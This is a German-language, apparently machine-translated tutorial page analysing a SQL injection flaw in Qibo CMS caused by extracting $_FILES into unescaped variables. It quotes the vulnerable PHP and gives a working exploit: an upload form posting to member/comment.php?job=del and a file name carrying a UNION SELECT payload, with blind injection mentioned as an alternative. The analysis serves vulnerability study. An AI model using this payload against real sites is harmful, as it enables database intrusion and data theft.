Heim >Backend-Entwicklung >PHP-Tutorial >Qibo CMS SQL-Injection-Schwachstellenlernen
Heute habe ich einen Artikel über die Schwachstellenanalyse eines CMS auf asrc gesehen (http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib&id=13 ) Ich habe das Gefühl, dass die Experten von Alibaba beim Verfassen von Schwachstellenanalysen immer noch etwas vorsichtig sind, ganz zu schweigen von der Art der Nutzung.
Ich habe dieses CMS auf Baidu durchsucht und die Nutzung ist immer noch recht groß. Ich weiß nicht viel über PHP, deshalb habe ich es kurz studiert und zusammengefasst, wie man es verwendet.
Die Ursache der Sicherheitslücke ist dieser Code in inc/common.inc.php:
if(!ini_get('register_globals')){ @extract($_FILES,EXTR_SKIP); }
Die Bedeutung dieses Codes ist Konvertieren Sie das Array der von PHP empfangenen $_Files-Anfragen in einige Variablen. Und wir wissen, dass diese Variablen nicht durch magische Anführungszeichen maskiert werden.
Schauen Sie sich die Datei member/comment.php noch einmal an, der folgende Code:
if($job=='del'){ foreach( $cidDB AS $key=>$value){ $rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'"); $erp=get_id_table($rs[aid]); $rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'"); if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){ $db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'"); } $db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'"); } refreshto("$FROMURL","删除成功",0); }
Wo die Variable $cidDB sein sollte Die ID der Nachricht wird über die get-Methode von der URL abgerufen und dann in die SQL-Anweisung eingefügt, um die SQL-Anweisung auszuführen.
Aber da comment.php auf common.inc.php verweist und $cidDB nicht initialisiert ist, können wir den Variablen in $_Files hier einen Wert zuweisen $cidDB direkt ohne Escape.
poc:
Eigentlich ist es kein Poc, es ist nur ein einfache Möglichkeit der Nutzung.
Schreiben Sie eine einfache HTML-Seite:
Schreiben Sie die Website-bezogene Adresse in das Aktion
<form method="post" action="http://127.0.0.1/v7/member/comment.php?job=del" enctype="multipart/form-data"> <input type="file" name="cidDB"> <input type="submit" name="submit"> </form>
Dann benennen wir eine Datei um mit dem Namen: 1' Union Select Version() und '1'='1
Senden Sie dann den Upload ab und Sie können das Rückgabeergebnis sehen:
Hier gibt es einen Das problematischere Problem ist: Da der Wertwert in zwei SQL-Anweisungen gespeichert wird, sind die Spalten der beiden Anweisungen unterschiedlich, sodass bei Verwendung von Union hier ein Fehler gemeldet wird und die einzige Möglichkeit die Blindinjektion ist. Oder Sie können an anderer Stelle nach nicht initialisierten Variablen suchen.